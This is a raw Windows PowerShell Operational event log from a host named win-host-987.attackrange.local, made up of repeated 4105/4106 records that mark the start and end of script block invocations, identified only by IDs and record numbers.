OpCode=On create calls
RecordNumber=2032883
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032882
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032881
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032880
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032879
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032878
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032877
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032876
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032875
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032874
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032873
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032872
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032871
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032870
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032869
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032868
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032867
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032866
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032865
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032864
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032863
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032862
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032861
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032860
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032859
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032858
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032857
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032856
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032855
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032854
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032853
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032852
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032851
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032850
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032849
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032848
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032847
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032846
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032845
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032844
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032843
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032842
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032841
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032840
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032839
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032838
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032837
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032836
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032835
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032834
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032833
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032832
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032831
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032830
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
